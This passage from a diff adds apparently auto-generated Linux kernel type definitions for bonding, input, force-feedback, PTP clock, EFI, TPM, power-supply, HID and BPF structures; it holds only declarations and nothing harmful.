BOND_OPT_LAST = 34, +}; + +struct bond_opt_value { + char *string; + u64 value; + u32 flags; + union { + char extra[16]; + struct net_device *slave_dev; + }; +}; + +struct bond_option { + int id; + const char *name; + const char *desc; + u32 flags; + long unsigned int unsuppmodes; + const struct bond_opt_value *values; + int (*set)(struct bonding *, const struct bond_opt_value *); +}; + +struct bond_params { + int mode; + int xmit_policy; + int miimon; + u8 num_peer_notif; + u8 missed_max; + int arp_interval; + int arp_validate; + int arp_all_targets; + int use_carrier; + int fail_over_mac; + int updelay; + int downdelay; + int peer_notif_delay; + int lacp_active; + int lacp_fast; + unsigned int min_links; + int ad_select; + char primary[16]; + int primary_reselect; + __be32 arp_targets[16]; + int tx_queues; + int all_slaves_active; + int resend_igmp; + int lp_interval; + int packets_per_slave; + int tlb_dynamic_lb; + struct reciprocal_value reciprocal_packets_per_slave; + u16 ad_actor_sys_prio; + u16 ad_user_port_key; + struct in6_addr ns_targets[16]; + u8 ad_actor_system[8]; +}; + +struct bond_up_slave; + +struct bonding { + struct net_device *dev; + struct slave *curr_active_slave; + struct slave *current_arp_slave; + struct slave *primary_slave; + struct bond_up_slave *usable_slaves; + struct bond_up_slave *all_slaves; + bool force_primary; + s32 slave_cnt; + int (*recv_probe)(const struct sk_buff *, struct bonding *, struct slave *); + spinlock_t mode_lock; + spinlock_t stats_lock; + u32 send_peer_notif; + u8 igmp_retrans; + struct proc_dir_entry *proc_entry; + char proc_file_name[16]; + struct list_head bond_list; + u32 *rr_tx_counter; + struct ad_bond_info ad_info; + struct alb_bond_info alb_info; + struct bond_params params; + struct workqueue_struct *wq; + struct delayed_work mii_work; + struct delayed_work arp_work; + struct delayed_work alb_work; + struct delayed_work ad_work; + struct delayed_work mcast_work; + struct delayed_work slave_arr_work; + struct dentry *debug_dir; + struct rtnl_link_stats64 bond_stats; + struct bpf_prog *xdp_prog; +}; + +struct bond_up_slave { + unsigned int count; + struct callback_head rcu; + struct slave *arr[0]; +}; + +struct input_id { + __u16 bustype; + __u16 vendor; + __u16 product; + __u16 version; +}; + +struct input_absinfo { + __s32 value; + __s32 minimum; + __s32 maximum; + __s32 fuzz; + __s32 flat; + __s32 resolution; +}; + +struct input_keymap_entry { + __u8 flags; + __u8 len; + __u16 index; + __u32 keycode; + __u8 scancode[32]; +}; + +struct ff_replay { + __u16 length; + __u16 delay; +}; + +struct ff_trigger { + __u16 button; + __u16 interval; +}; + +struct ff_envelope { + __u16 attack_length; + __u16 attack_level; + __u16 fade_length; + __u16 fade_level; +}; + +struct ff_constant_effect { + __s16 level; + struct ff_envelope envelope; +}; + +struct ff_ramp_effect { + __s16 start_level; + __s16 end_level; + struct ff_envelope envelope; +}; + +struct ff_condition_effect { + __u16 right_saturation; + __u16 left_saturation; + __s16 right_coeff; + __s16 left_coeff; + __u16 deadband; + __s16 center; +}; + +struct ff_periodic_effect { + __u16 waveform; + __u16 period; + __s16 magnitude; + __s16 offset; + __u16 phase; + struct ff_envelope envelope; + __u32 custom_len; + __s16 *custom_data; +}; + +struct ff_rumble_effect { + __u16 strong_magnitude; + __u16 weak_magnitude; +}; + +struct ff_effect { + __u16 type; + __s16 id; + __u16 direction; + struct ff_trigger trigger; + struct ff_replay replay; + union { + struct ff_constant_effect constant; + struct ff_ramp_effect ramp; + struct ff_periodic_effect periodic; + struct ff_condition_effect condition[2]; + struct ff_rumble_effect rumble; + } u; +}; + +struct input_device_id { + kernel_ulong_t flags; + __u16 bustype; + __u16 vendor; + __u16 product; + __u16 version; + kernel_ulong_t evbit[1]; + kernel_ulong_t keybit[12]; + kernel_ulong_t relbit[1]; + kernel_ulong_t absbit[1]; + kernel_ulong_t mscbit[1]; + kernel_ulong_t ledbit[1]; + kernel_ulong_t sndbit[1]; + kernel_ulong_t ffbit[2]; + kernel_ulong_t swbit[1]; + kernel_ulong_t propbit[1]; + kernel_ulong_t driver_info; +}; + +struct input_value { + __u16 type; + __u16 code; + __s32 value; +}; + +enum input_clock_type { + INPUT_CLK_REAL = 0, + INPUT_CLK_MONO = 1, + INPUT_CLK_BOOT = 2, + INPUT_CLK_MAX = 3, +}; + +struct ff_device; + +struct input_dev_poller; + +struct input_mt; + +struct input_handle; + +struct input_dev { + const char *name; + const char *phys; + const char *uniq; + struct input_id id; + long unsigned int propbit[1]; + long unsigned int evbit[1]; + long unsigned int keybit[12]; + long unsigned int relbit[1]; + long unsigned int absbit[1]; + long unsigned int mscbit[1]; + long unsigned int ledbit[1]; + long unsigned int sndbit[1]; + long unsigned int ffbit[2]; + long unsigned int swbit[1]; + unsigned int hint_events_per_packet; + unsigned int keycodemax; + unsigned int keycodesize; + void *keycode; + int (*setkeycode)(struct input_dev *, const struct input_keymap_entry *, unsigned int *); + int (*getkeycode)(struct input_dev *, struct input_keymap_entry *); + struct ff_device *ff; + struct input_dev_poller *poller; + unsigned int repeat_key; + struct timer_list timer; + int rep[2]; + struct input_mt *mt; + struct input_absinfo *absinfo; + long unsigned int key[12]; + long unsigned int led[1]; + long unsigned int snd[1]; + long unsigned int sw[1]; + int (*open)(struct input_dev *); + void (*close)(struct input_dev *); + int (*flush)(struct input_dev *, struct file *); + int (*event)(struct input_dev *, unsigned int, unsigned int, int); + struct input_handle *grab; + spinlock_t event_lock; + struct mutex mutex; + unsigned int users; + bool going_away; + struct device dev; + struct list_head h_list; + struct list_head node; + unsigned int num_vals; + unsigned int max_vals; + struct input_value *vals; + bool devres_managed; + ktime_t timestamp[3]; + bool inhibited; +}; + +struct ff_device { + int (*upload)(struct input_dev *, struct ff_effect *, struct ff_effect *); + int (*erase)(struct input_dev *, int); + int (*playback)(struct input_dev *, int, int); + void (*set_gain)(struct input_dev *, u16); + void (*set_autocenter)(struct input_dev *, u16); + void (*destroy)(struct ff_device *); + void *private; + long unsigned int ffbit[2]; + struct mutex mutex; + int max_effects; + struct ff_effect *effects; + struct file *effect_owners[0]; +}; + +struct input_mt_slot { + int abs[14]; + unsigned int frame; + unsigned int key; +}; + +struct input_mt { + int trkid; + int num_slots; + int slot; + unsigned int flags; + unsigned int frame; + int *red; + struct input_mt_slot slots[0]; +}; + +struct input_handler; + +struct input_handle { + void *private; + int open; + const char *name; + struct input_dev *dev; + struct input_handler *handler; + struct list_head d_node; + struct list_head h_node; +}; + +struct input_handler { + void *private; + void (*event)(struct input_handle *, unsigned int, unsigned int, int); + void (*events)(struct input_handle *, const struct input_value *, unsigned int); + bool (*filter)(struct input_handle *, unsigned int, unsigned int, int); + bool (*match)(struct input_handler *, struct input_dev *); + int (*connect)(struct input_handler *, struct input_dev *, const struct input_device_id *); + void (*disconnect)(struct input_handle *); + void (*start)(struct input_handle *); + bool legacy_minors; + int minor; + const char *name; + const struct input_device_id *id_table; + struct list_head h_list; + struct list_head node; +}; + +struct input_mt_pos { + s16 x; + s16 y; +}; + +struct touchscreen_properties { + unsigned int max_x; + unsigned int max_y; + bool invert_x; + bool invert_y; + bool swap_x_y; +}; + +enum rc_proto { + RC_PROTO_UNKNOWN = 0, + RC_PROTO_OTHER = 1, + RC_PROTO_RC5 = 2, + RC_PROTO_RC5X_20 = 3, + RC_PROTO_RC5_SZ = 4, + RC_PROTO_JVC = 5, + RC_PROTO_SONY12 = 6, + RC_PROTO_SONY15 = 7, + RC_PROTO_SONY20 = 8, + RC_PROTO_NEC = 9, + RC_PROTO_NECX = 10, + RC_PROTO_NEC32 = 11, + RC_PROTO_SANYO = 12, + RC_PROTO_MCIR2_KBD = 13, + RC_PROTO_MCIR2_MSE = 14, + RC_PROTO_RC6_0 = 15, + RC_PROTO_RC6_6A_20 = 16, + RC_PROTO_RC6_6A_24 = 17, + RC_PROTO_RC6_6A_32 = 18, + RC_PROTO_RC6_MCE = 19, + RC_PROTO_SHARP = 20, + RC_PROTO_XMP = 21, + RC_PROTO_CEC = 22, + RC_PROTO_IMON = 23, + RC_PROTO_RCMM12 = 24, + RC_PROTO_RCMM24 = 25, + RC_PROTO_RCMM32 = 26, + RC_PROTO_XBOX_DVD = 27, + RC_PROTO_MAX = 27, +}; + +struct rc_map_table { + u64 scancode; + u32 keycode; +}; + +struct rc_map { + struct rc_map_table *scan; + unsigned int size; + unsigned int len; + unsigned int alloc; + enum rc_proto rc_proto; + const char *name; + spinlock_t lock; +}; + +struct rc_map_list { + struct list_head list; + struct rc_map map; +}; + +struct __kernel_timex_timeval { + __kernel_time64_t tv_sec; + long long int tv_usec; +}; + +struct __kernel_timex { + unsigned int modes; + long long int offset; + long long int freq; + long long int maxerror; + long long int esterror; + int status; + long long int constant; + long long int precision; + long long int tolerance; + struct __kernel_timex_timeval time; + long long int tick; + long long int ppsfreq; + long long int jitter; + int shift; + long long int stabil; + long long int jitcnt; + long long int calcnt; + long long int errcnt; + long long int stbcnt; + int tai; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +enum clocksource_ids { + CSID_GENERIC = 0, + CSID_ARM_ARCH_COUNTER = 1, + CSID_MAX = 2, +}; + +struct system_time_snapshot { + u64 cycles; + ktime_t real; + ktime_t raw; + enum clocksource_ids cs_id; + unsigned int clock_was_set_seq; + u8 cs_was_changed_seq; +}; + +struct system_device_crosststamp { + ktime_t device; + ktime_t sys_realtime; + ktime_t sys_monoraw; +}; + +typedef struct poll_table_struct poll_table; + +struct posix_clock; + +struct posix_clock_operations { + struct module *owner; + int (*clock_adjtime)(struct posix_clock *, struct __kernel_timex *); + int (*clock_gettime)(struct posix_clock *, struct timespec64 *); + int (*clock_getres)(struct posix_clock *, struct timespec64 *); + int (*clock_settime)(struct posix_clock *, const struct timespec64 *); + long int (*ioctl)(struct posix_clock *, unsigned int, long unsigned int); + int (*open)(struct posix_clock *, fmode_t); + __poll_t (*poll)(struct posix_clock *, struct file *, poll_table *); + int (*release)(struct posix_clock *); + ssize_t (*read)(struct posix_clock *, uint, char *, size_t); +}; + +struct posix_clock { + struct posix_clock_operations ops; + struct cdev cdev; + struct device *dev; + struct rw_semaphore rwsem; + bool zombie; +}; + +struct pps_ktime { + __s64 sec; + __s32 nsec; + __u32 flags; +}; + +struct pps_kparams { + int api_version; + int mode; + struct pps_ktime assert_off_tu; + struct pps_ktime clear_off_tu; +}; + +struct pps_device; + +struct pps_source_info { + char name[32]; + char path[32]; + int mode; + void (*echo)(struct pps_device *, int, void *); + struct module *owner; + struct device *dev; +}; + +struct pps_device { + struct pps_source_info info; + struct pps_kparams params; + __u32 assert_sequence; + __u32 clear_sequence; + struct pps_ktime assert_tu; + struct pps_ktime clear_tu; + int current_mode; + unsigned int last_ev; + wait_queue_head_t queue; + unsigned int id; + const void *lookup_cookie; + struct cdev cdev; + struct device *dev; + struct fasync_struct *async_queue; + spinlock_t lock; +}; + +struct pps_event_time { + struct timespec64 ts_real; +}; + +struct kthread_work; + +typedef void (*kthread_work_func_t)(struct kthread_work *); + +struct kthread_worker; + +struct kthread_work { + struct list_head node; + kthread_work_func_t func; + struct kthread_worker *worker; + int canceling; +}; + +struct kthread_worker { + unsigned int flags; + raw_spinlock_t lock; + struct list_head work_list; + struct list_head delayed_work_list; + struct task_struct *task; + struct kthread_work *current_work; +}; + +struct kthread_delayed_work { + struct kthread_work work; + struct timer_list timer; +}; + +struct ptp_clock_time { + __s64 sec; + __u32 nsec; + __u32 reserved; +}; + +struct ptp_extts_request { + unsigned int index; + unsigned int flags; + unsigned int rsv[2]; +}; + +struct ptp_perout_request { + union { + struct ptp_clock_time start; + struct ptp_clock_time phase; + }; + struct ptp_clock_time period; + unsigned int index; + unsigned int flags; + union { + struct ptp_clock_time on; + unsigned int rsv[4]; + }; +}; + +enum ptp_pin_function { + PTP_PF_NONE = 0, + PTP_PF_EXTTS = 1, + PTP_PF_PEROUT = 2, + PTP_PF_PHYSYNC = 3, +}; + +struct ptp_pin_desc { + char name[64]; + unsigned int index; + unsigned int func; + unsigned int chan; + unsigned int rsv[5]; +}; + +struct ptp_extts_event { + struct ptp_clock_time t; + unsigned int index; + unsigned int flags; + unsigned int rsv[2]; +}; + +struct cyclecounter { + u64 (*read)(const struct cyclecounter *); + u64 mask; + u32 mult; + u32 shift; +}; + +struct timecounter { + const struct cyclecounter *cc; + u64 cycle_last; + u64 nsec; + u64 mask; + u64 frac; +}; + +struct ptp_clock_request { + enum { + PTP_CLK_REQ_EXTTS = 0, + PTP_CLK_REQ_PEROUT = 1, + PTP_CLK_REQ_PPS = 2, + } type; + union { + struct ptp_extts_request extts; + struct ptp_perout_request perout; + }; +}; + +struct ptp_system_timestamp { + struct timespec64 pre_ts; + struct timespec64 post_ts; +}; + +struct ptp_clock_info { + struct module *owner; + char name[32]; + s32 max_adj; + int n_alarm; + int n_ext_ts; + int n_per_out; + int n_pins; + int pps; + struct ptp_pin_desc *pin_config; + int (*adjfine)(struct ptp_clock_info *, long int); + int (*adjphase)(struct ptp_clock_info *, s32); + int (*adjtime)(struct ptp_clock_info *, s64); + int (*gettime64)(struct ptp_clock_info *, struct timespec64 *); + int (*gettimex64)(struct ptp_clock_info *, struct timespec64 *, struct ptp_system_timestamp *); + int (*getcrosststamp)(struct ptp_clock_info *, struct system_device_crosststamp *); + int (*settime64)(struct ptp_clock_info *, const struct timespec64 *); + int (*getcycles64)(struct ptp_clock_info *, struct timespec64 *); + int (*getcyclesx64)(struct ptp_clock_info *, struct timespec64 *, struct ptp_system_timestamp *); + int (*getcrosscycles)(struct ptp_clock_info *, struct system_device_crosststamp *); + int (*enable)(struct ptp_clock_info *, struct ptp_clock_request *, int); + int (*verify)(struct ptp_clock_info *, unsigned int, enum ptp_pin_function, unsigned int); + long int (*do_aux_work)(struct ptp_clock_info *); +}; + +enum ptp_clock_events { + PTP_CLOCK_ALARM = 0, + PTP_CLOCK_EXTTS = 1, + PTP_CLOCK_PPS = 2, + PTP_CLOCK_PPSUSR = 3, +}; + +struct ptp_clock_event { + int type; + int index; + union { + u64 timestamp; + struct pps_event_time pps_times; + }; +}; + +struct timestamp_event_queue { + struct ptp_extts_event buf[128]; + int head; + int tail; + spinlock_t lock; +}; + +struct ptp_clock { + struct posix_clock clock; + struct device dev; + struct ptp_clock_info *info; + dev_t devid; + int index; + struct pps_device *pps_source; + long int dialed_frequency; + struct timestamp_event_queue tsevq; + struct mutex tsevq_mux; + struct mutex pincfg_mux; + wait_queue_head_t tsev_wq; + int defunct; + struct device_attribute *pin_dev_attr; + struct attribute **pin_attr; + struct attribute_group pin_attr_group; + const struct attribute_group *pin_attr_groups[2]; + struct kthread_worker *kworker; + struct kthread_delayed_work aux_work; + unsigned int max_vclocks; + unsigned int n_vclocks; + int *vclock_index; + struct mutex n_vclocks_mux; + bool is_virtual_clock; + bool has_cycles; +}; + +struct ptp_vclock { + struct ptp_clock *pclock; + struct ptp_clock_info info; + struct ptp_clock *clock; + struct hlist_node vclock_hash_node; + struct cyclecounter cc; + struct timecounter tc; + struct mutex lock; +}; + +typedef long unsigned int efi_status_t; + +typedef u8 efi_bool_t; + +typedef u16 efi_char16_t; + +typedef guid_t efi_guid_t; + +typedef struct { + u64 signature; + u32 revision; + u32 headersize; + u32 crc32; + u32 reserved; +} efi_table_hdr_t; + +typedef struct { + u32 type; + u32 pad; + u64 phys_addr; + u64 virt_addr; + u64 num_pages; + u64 attribute; +} efi_memory_desc_t; + +typedef struct { + efi_guid_t guid; + u32 headersize; + u32 flags; + u32 imagesize; +} efi_capsule_header_t; + +typedef struct { + u16 year; + u8 month; + u8 day; + u8 hour; + u8 minute; + u8 second; + u8 pad1; + u32 nanosecond; + s16 timezone; + u8 daylight; + u8 pad2; +} efi_time_t; + +typedef struct { + u32 resolution; + u32 accuracy; + u8 sets_to_zero; +} efi_time_cap_t; + +typedef struct { + efi_table_hdr_t hdr; + u32 get_time; + u32 set_time; + u32 get_wakeup_time; + u32 set_wakeup_time; + u32 set_virtual_address_map; + u32 convert_pointer; + u32 get_variable; + u32 get_next_variable; + u32 set_variable; + u32 get_next_high_mono_count; + u32 reset_system; + u32 update_capsule; + u32 query_capsule_caps; + u32 query_variable_info; +} efi_runtime_services_32_t; + +typedef efi_status_t efi_get_time_t(efi_time_t *, efi_time_cap_t *); + +typedef efi_status_t efi_set_time_t(efi_time_t *); + +typedef efi_status_t efi_get_wakeup_time_t(efi_bool_t *, efi_bool_t *, efi_time_t *); + +typedef efi_status_t efi_set_wakeup_time_t(efi_bool_t, efi_time_t *); + +typedef efi_status_t efi_get_variable_t(efi_char16_t *, efi_guid_t *, u32 *, long unsigned int *, void *); + +typedef efi_status_t efi_get_next_variable_t(long unsigned int *, efi_char16_t *, efi_guid_t *); + +typedef efi_status_t efi_set_variable_t(efi_char16_t *, efi_guid_t *, u32, long unsigned int, void *); + +typedef efi_status_t efi_get_next_high_mono_count_t(u32 *); + +typedef void efi_reset_system_t(int, efi_status_t, long unsigned int, efi_char16_t *); + +typedef efi_status_t efi_query_variable_info_t(u32, u64 *, u64 *, u64 *); + +typedef efi_status_t efi_update_capsule_t(efi_capsule_header_t **, long unsigned int, long unsigned int); + +typedef efi_status_t efi_query_capsule_caps_t(efi_capsule_header_t **, long unsigned int, u64 *, int *); + +typedef union { + struct { + efi_table_hdr_t hdr; + efi_status_t (*get_time)(efi_time_t *, efi_time_cap_t *); + efi_status_t (*set_time)(efi_time_t *); + efi_status_t (*get_wakeup_time)(efi_bool_t *, efi_bool_t *, efi_time_t *); + efi_status_t (*set_wakeup_time)(efi_bool_t, efi_time_t *); + efi_status_t (*set_virtual_address_map)(long unsigned int, long unsigned int, u32, efi_memory_desc_t *); + void *convert_pointer; + efi_status_t (*get_variable)(efi_char16_t *, efi_guid_t *, u32 *, long unsigned int *, void *); + efi_status_t (*get_next_variable)(long unsigned int *, efi_char16_t *, efi_guid_t *); + efi_status_t (*set_variable)(efi_char16_t *, efi_guid_t *, u32, long unsigned int, void *); + efi_status_t (*get_next_high_mono_count)(u32 *); + void (*reset_system)(int, efi_status_t, long unsigned int, efi_char16_t *); + efi_status_t (*update_capsule)(efi_capsule_header_t **, long unsigned int, long unsigned int); + efi_status_t (*query_capsule_caps)(efi_capsule_header_t **, long unsigned int, u64 *, int *); + efi_status_t (*query_variable_info)(u32, u64 *, u64 *, u64 *); + }; + efi_runtime_services_32_t mixed_mode; +} efi_runtime_services_t; + +struct efi_memory_map { + phys_addr_t phys_map; + void *map; + void *map_end; + int nr_map; + long unsigned int desc_version; + long unsigned int desc_size; + long unsigned int flags; +}; + +struct efi { + const efi_runtime_services_t *runtime; + unsigned int runtime_version; + unsigned int runtime_supported_mask; + long unsigned int acpi; + long unsigned int acpi20; + long unsigned int smbios; + long unsigned int smbios3; + long unsigned int esrt; + long unsigned int tpm_log; + long unsigned int tpm_final_log; + long unsigned int mokvar_table; + long unsigned int coco_secret; + efi_get_time_t *get_time; + efi_set_time_t *set_time; + efi_get_wakeup_time_t *get_wakeup_time; + efi_set_wakeup_time_t *set_wakeup_time; + efi_get_variable_t *get_variable; + efi_get_next_variable_t *get_next_variable; + efi_set_variable_t *set_variable; + efi_set_variable_t *set_variable_nonblocking; + efi_query_variable_info_t *query_variable_info; + efi_query_variable_info_t *query_variable_info_nonblocking; + efi_update_capsule_t *update_capsule; + efi_query_capsule_caps_t *query_capsule_caps; + efi_get_next_high_mono_count_t *get_next_high_mono_count; + efi_reset_system_t *reset_system; + struct efi_memory_map memmap; + long unsigned int flags; +}; + +struct linux_efi_tpm_eventlog { + u32 size; + u32 final_events_preboot_size; + u8 version; + u8 log[0]; +}; + +struct efi_tcg2_final_events_table { + u64 version; + u64 nr_events; + u8 events[0]; +}; + +enum efi_rts_ids { + EFI_NONE = 0, + EFI_GET_TIME = 1, + EFI_SET_TIME = 2, + EFI_GET_WAKEUP_TIME = 3, + EFI_SET_WAKEUP_TIME = 4, + EFI_GET_VARIABLE = 5, + EFI_GET_NEXT_VARIABLE = 6, + EFI_SET_VARIABLE = 7, + EFI_QUERY_VARIABLE_INFO = 8, + EFI_GET_NEXT_HIGH_MONO_COUNT = 9, + EFI_RESET_SYSTEM = 10, + EFI_UPDATE_CAPSULE = 11, + EFI_QUERY_CAPSULE_CAPS = 12, +}; + +struct efi_runtime_work { + void *arg1; + void *arg2; + void *arg3; + void *arg4; + void *arg5; + efi_status_t status; + struct work_struct work; + enum efi_rts_ids efi_rts_id; + struct completion efi_rts_comp; +}; + +struct tpm_digest { + u16 alg_id; + u8 digest[64]; +}; + +enum tcpa_event_types { + PREBOOT = 0, + POST_CODE = 1, + UNUSED = 2, + NO_ACTION = 3, + SEPARATOR = 4, + ACTION = 5, + EVENT_TAG = 6, + SCRTM_CONTENTS = 7, + SCRTM_VERSION = 8, + CPU_MICROCODE = 9, + PLATFORM_CONFIG_FLAGS = 10, + TABLE_OF_DEVICES = 11, + COMPACT_HASH = 12, + IPL = 13, + IPL_PARTITION_DATA = 14, + NONHOST_CODE = 15, + NONHOST_CONFIG = 16, + NONHOST_INFO = 17, +}; + +struct tcg_efi_specid_event_algs { + u16 alg_id; + u16 digest_size; +}; + +struct tcg_efi_specid_event_head { + u8 signature[16]; + u32 platform_class; + u8 spec_version_minor; + u8 spec_version_major; + u8 spec_errata; + u8 uintnsize; + u32 num_algs; + struct tcg_efi_specid_event_algs digest_sizes[0]; +}; + +struct tcg_pcr_event { + u32 pcr_idx; + u32 event_type; + u8 digest[20]; + u32 event_size; + u8 event[0]; +}; + +struct tcg_event_field { + u32 event_size; + u8 event[0]; +}; + +struct tcg_pcr_event2_head { + u32 pcr_idx; + u32 event_type; + u32 count; + struct tpm_digest digests[0]; +}; + +struct semaphore { + raw_spinlock_t lock; + unsigned int count; + struct list_head wait_list; +}; + +struct hid_device_id { + __u16 bus; + __u16 group; + __u32 vendor; + __u32 product; + kernel_ulong_t driver_data; +}; + +enum power_supply_property { + POWER_SUPPLY_PROP_STATUS = 0, + POWER_SUPPLY_PROP_CHARGE_TYPE = 1, + POWER_SUPPLY_PROP_HEALTH = 2, + POWER_SUPPLY_PROP_PRESENT = 3, + POWER_SUPPLY_PROP_ONLINE = 4, + POWER_SUPPLY_PROP_AUTHENTIC = 5, + POWER_SUPPLY_PROP_TECHNOLOGY = 6, + POWER_SUPPLY_PROP_CYCLE_COUNT = 7, + POWER_SUPPLY_PROP_VOLTAGE_MAX = 8, + POWER_SUPPLY_PROP_VOLTAGE_MIN = 9, + POWER_SUPPLY_PROP_VOLTAGE_MAX_DESIGN = 10, + POWER_SUPPLY_PROP_VOLTAGE_MIN_DESIGN = 11, + POWER_SUPPLY_PROP_VOLTAGE_NOW = 12, + POWER_SUPPLY_PROP_VOLTAGE_AVG = 13, + POWER_SUPPLY_PROP_VOLTAGE_OCV = 14, + POWER_SUPPLY_PROP_VOLTAGE_BOOT = 15, + POWER_SUPPLY_PROP_CURRENT_MAX = 16, + POWER_SUPPLY_PROP_CURRENT_NOW = 17, + POWER_SUPPLY_PROP_CURRENT_AVG = 18, + POWER_SUPPLY_PROP_CURRENT_BOOT = 19, + POWER_SUPPLY_PROP_POWER_NOW = 20, + POWER_SUPPLY_PROP_POWER_AVG = 21, + POWER_SUPPLY_PROP_CHARGE_FULL_DESIGN = 22, + POWER_SUPPLY_PROP_CHARGE_EMPTY_DESIGN = 23, + POWER_SUPPLY_PROP_CHARGE_FULL = 24, + POWER_SUPPLY_PROP_CHARGE_EMPTY = 25, + POWER_SUPPLY_PROP_CHARGE_NOW = 26, + POWER_SUPPLY_PROP_CHARGE_AVG = 27, + POWER_SUPPLY_PROP_CHARGE_COUNTER = 28, + POWER_SUPPLY_PROP_CONSTANT_CHARGE_CURRENT = 29, + POWER_SUPPLY_PROP_CONSTANT_CHARGE_CURRENT_MAX = 30, + POWER_SUPPLY_PROP_CONSTANT_CHARGE_VOLTAGE = 31, + POWER_SUPPLY_PROP_CONSTANT_CHARGE_VOLTAGE_MAX = 32, + POWER_SUPPLY_PROP_CHARGE_CONTROL_LIMIT = 33, + POWER_SUPPLY_PROP_CHARGE_CONTROL_LIMIT_MAX = 34, + POWER_SUPPLY_PROP_CHARGE_CONTROL_START_THRESHOLD = 35, + POWER_SUPPLY_PROP_CHARGE_CONTROL_END_THRESHOLD = 36, + POWER_SUPPLY_PROP_CHARGE_BEHAVIOUR = 37, + POWER_SUPPLY_PROP_INPUT_CURRENT_LIMIT = 38, + POWER_SUPPLY_PROP_INPUT_VOLTAGE_LIMIT = 39, + POWER_SUPPLY_PROP_INPUT_POWER_LIMIT = 40, + POWER_SUPPLY_PROP_ENERGY_FULL_DESIGN = 41, + POWER_SUPPLY_PROP_ENERGY_EMPTY_DESIGN = 42, + POWER_SUPPLY_PROP_ENERGY_FULL = 43, + POWER_SUPPLY_PROP_ENERGY_EMPTY = 44, + POWER_SUPPLY_PROP_ENERGY_NOW = 45, + POWER_SUPPLY_PROP_ENERGY_AVG = 46, + POWER_SUPPLY_PROP_CAPACITY = 47, + POWER_SUPPLY_PROP_CAPACITY_ALERT_MIN = 48, + POWER_SUPPLY_PROP_CAPACITY_ALERT_MAX = 49, + POWER_SUPPLY_PROP_CAPACITY_ERROR_MARGIN = 50, + POWER_SUPPLY_PROP_CAPACITY_LEVEL = 51, + POWER_SUPPLY_PROP_TEMP = 52, + POWER_SUPPLY_PROP_TEMP_MAX = 53, + POWER_SUPPLY_PROP_TEMP_MIN = 54, + POWER_SUPPLY_PROP_TEMP_ALERT_MIN = 55, + POWER_SUPPLY_PROP_TEMP_ALERT_MAX = 56, + POWER_SUPPLY_PROP_TEMP_AMBIENT = 57, + POWER_SUPPLY_PROP_TEMP_AMBIENT_ALERT_MIN = 58, + POWER_SUPPLY_PROP_TEMP_AMBIENT_ALERT_MAX = 59, + POWER_SUPPLY_PROP_TIME_TO_EMPTY_NOW = 60, + POWER_SUPPLY_PROP_TIME_TO_EMPTY_AVG = 61, + POWER_SUPPLY_PROP_TIME_TO_FULL_NOW = 62, + POWER_SUPPLY_PROP_TIME_TO_FULL_AVG = 63, + POWER_SUPPLY_PROP_TYPE = 64, + POWER_SUPPLY_PROP_USB_TYPE = 65, + POWER_SUPPLY_PROP_SCOPE = 66, + POWER_SUPPLY_PROP_PRECHARGE_CURRENT = 67, + POWER_SUPPLY_PROP_CHARGE_TERM_CURRENT = 68, + POWER_SUPPLY_PROP_CALIBRATE = 69, + POWER_SUPPLY_PROP_MANUFACTURE_YEAR = 70, + POWER_SUPPLY_PROP_MANUFACTURE_MONTH = 71, + POWER_SUPPLY_PROP_MANUFACTURE_DAY = 72, + POWER_SUPPLY_PROP_MODEL_NAME = 73, + POWER_SUPPLY_PROP_MANUFACTURER = 74, + POWER_SUPPLY_PROP_SERIAL_NUMBER = 75, +}; + +enum hid_report_type { + HID_INPUT_REPORT = 0, + HID_OUTPUT_REPORT = 1, + HID_FEATURE_REPORT = 2, + HID_REPORT_TYPES = 3, +}; + +enum hid_class_request { + HID_REQ_GET_REPORT = 1, + HID_REQ_GET_IDLE = 2, + HID_REQ_GET_PROTOCOL = 3, + HID_REQ_SET_REPORT = 9, + HID_REQ_SET_IDLE = 10, + HID_REQ_SET_PROTOCOL = 11, +}; + +enum bpf_type_flag { + PTR_MAYBE_NULL = 256, + MEM_RDONLY = 512, + MEM_RINGBUF = 1024, + MEM_USER = 2048, + MEM_PERCPU = 4096, + OBJ_RELEASE = 8192, + PTR_UNTRUSTED = 16384, + MEM_UNINIT = 32768, + DYNPTR_TYPE_LOCAL = 65536, + DYNPTR_TYPE_RINGBUF = 131072, + MEM_FIXED_SIZE = 262144, + MEM_ALLOC = 524288, + PTR_TRUSTED = 1048576, + MEM_RCU = 2097152, + NON_OWN_REF = 4194304, + DYNPTR_TYPE_SKB = 8388608, + DYNPTR_TYPE_XDP = 16777216, + __BPF_TYPE_FLAG_MAX = 16777217, + __BPF_TYPE_LAST_FLAG = 16777216, +}; + +enum bpf_cgroup_storage_type { + BPF_CGROUP_STORAGE_SHARED = 0, + BPF_CGROUP_STORAGE_PERCPU = 1, + __BPF_CGROUP_STORAGE_MAX = 2, +}; + +enum { + BPF_MAX_TRAMP_LINKS = 38, +}; + +enum bpf_tramp_prog_type { + BPF_TRAMP_FENTRY = 0, + BPF_TRAMP_FEXIT = 1, + BPF_TRAMP_MODIFY_RETURN = 2, + BPF_TRAMP_MAX = 3, + BPF_TRAMP_REPLACE = 4, +}; + +enum hid_type { + HID_TYPE_OTHER = 0, + HID_TYPE_USBMOUSE = 1, + HID_TYPE_USBNONE = 2, +}; + +struct hid_report; + +struct hid_report_enum { + unsigned int numbered; + struct list_head report_list; + struct hid_report *report_id_hash[256]; +}; + +struct hid_bpf_prog_list; + +struct hid_bpf { + u8 *device_data; + u32 allocated_data; + struct hid_bpf_prog_list *progs[2]; + bool destroyed; + spinlock_t progs_lock; +}; + +struct hid_collection; + +struct hid_driver; + +struct hid_ll_driver; + +struct hid_field; + +struct hid_usage; + +struct hid_device { + __u8 *dev_rdesc; + unsigned int dev_rsize; + __u8 *rdesc; + unsigned int rsize; + struct hid_collection *collection; + unsigned int collection_size; + unsigned int maxcollection; + unsigned int maxapplication; + __u16 bus; + __u16 group; + __u32 vendor; + __u32 product; + __u32 version; + enum hid_type type; + unsigned int country; + struct hid_report_enum report_enum[3]; + struct work_struct led_work; + struct semaphore driver_input_lock; + struct device dev; + struct hid_driver *driver; + const struct hid_ll_driver *ll_driver; + struct mutex ll_open_lock; + unsigned int ll_open_count; + long unsigned int status; + unsigned int claimed; + unsigned int quirks; + unsigned int initial_quirks; + bool io_started; + struct list_head inputs; + void *hiddev; + void *hidraw; + char name[128]; + char phys[64]; + char uniq[64]; + void *driver_data; + int (*ff_init)(struct hid_device *); + int (*hiddev_connect)(struct hid_device *, unsigned int); + void (*hiddev_disconnect)(struct hid_device *); + void (*hiddev_hid_event)(struct hid_device *, struct hid_field *, struct hid_usage *, __s32); + void (*hiddev_report_event)(struct 